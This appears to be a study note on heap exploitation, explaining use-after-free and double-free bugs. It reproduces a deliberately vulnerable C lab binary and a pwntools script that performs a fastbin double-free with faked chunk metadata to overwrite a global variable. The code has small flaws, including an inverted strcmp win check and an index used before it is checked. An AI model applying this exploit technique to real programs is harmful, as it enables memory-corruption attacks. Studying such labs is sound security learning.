Use After Free / Double Free

Two common bugs seen in heap

Use After Free

Occurs when a program frees the memory but accesses it again because of certain misconfigurations (E.g No NULL ptr). Combined with the First-Fit logic of allocators, this can potentially let attackers manipulate which memory blocks are reused.

Double Free

Occurs when a memory address is freed twice which opens up possibilities for other attacks. The allocator might allocate memory and give two different pointers pointing to the same memory location.

To bypass fasttop, free another chunk in between the double free.

For malloc() memory corruption, make sure that the size parameter in the chunk is valid.

Example 1 (From ironstone's gitbook) :

/*
    Double-Free exploit, with an added fasttop bypass
    To ignore the `malloc(): memory corruption (fast)` check, this binary fakes the metadata
*/

#include <stdio.h>
#include <stdlib.h>


// Ignore
void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}


//Actual Code
char fakemetadata[0x10] = "\x30\0\0\0\0\0\0\0"; // so we can ignore the "wrong size" error
char admin[0x10] = "Nuh-huh\0";

// List of users to keep track of
char *users[15];
int userCount = 0;

void createUser() {
    char *name = malloc(0x20);
    users[userCount] = name;

    printf("%s", "Name: ");
    read(0, name, 0x20);

    printf("User Index: %d\nName: %s\nLocation: %p\n", userCount, users[userCount], users[userCount]);
    userCount++;
}

void deleteUser() {
    printf("Index: ");

    char input[2];
    read(0, input, sizeof(input));
    int choice = atoi(input);


    char *name = users[choice];
    printf("User %d:\n\tName: %s\n", choice, name, name);

    // Check user actually exists before freeing
    if(choice < 0 || choice >= userCount) {
        puts("Invalid Index!");
        return;
    }
    else {
        free(name);
        puts("User freed!");
    }
}

void complete_level() {
    if(strcmp(admin, "admin\n")) {
        puts("Level Complete!");
        return;
    }
}

void main_loop() {
    while(1) {
        printf(">> ");

        char input[2];
        read(0, input, sizeof(input));
        int choice = atoi(input);

        switch (choice)
        {
            case 1:
                createUser();
                break;
            case 2:
                deleteUser();
                break;
            case 3:
                complete_level();
            default:
                break;
        }
    }
}

int main() {
    setup();
    printf("Fake Metadata: %p\n", fakemetadata);
    main_loop();

    return 0;
}

Goal of this binary is to obtain a arbitrary stack variable write via double free.

Solution:

  1. Trigger double free vulnerabilityusing the create() and delete() functions, then proceed to allocate another chunk

    1. Allocating another chunk after the double free causes us to reference the freed chunk, and we know that freed chunks contain the fd (addr to next chunk to be allocated) in the user data section instead, we can use this to determine the address of our fake stack chunk to be allocated later (address of admin variable)

  2. We can then allocate two more buffer chunks so that eventually our allocation will point to the stack variable as seen below.

    1. We also need to add appropriate padding/alignment for the fake_metadata variable

0x602088:    <where fd should be pointing to>      <fake_metadata size for heap>
0x602098 <fakemetadata+8>:   <8 bytes padding>      <admin variable - what we want to override>
0x6020a8 <admin+8>:     0x0000000000000000      0x0000000000000000

This gives us our solve script.

from pwn import *

elf = context.binary = ELF('./vuln_patched', checksec=False)
p = process()


def create(name='a'):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Name: ', name)

def delete(idx):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Index: ', str(idx))

def complete():
    p.sendlineafter('>> ', '3')
    print(p.recvline())

p.recvuntil('data: ')
fake_metadata = int(p.recvline(), 16)  - 8 
gdb.attach(p)
create('yes')
create('yes')
delete(0)
delete(1)
delete(0)
create(p64(fake_metadata))
pause()
create('junk1')
pause()
create('junk2')
pause()
create(b'A' * 8 + b'admin\x00')
pause()
complete()

Last updated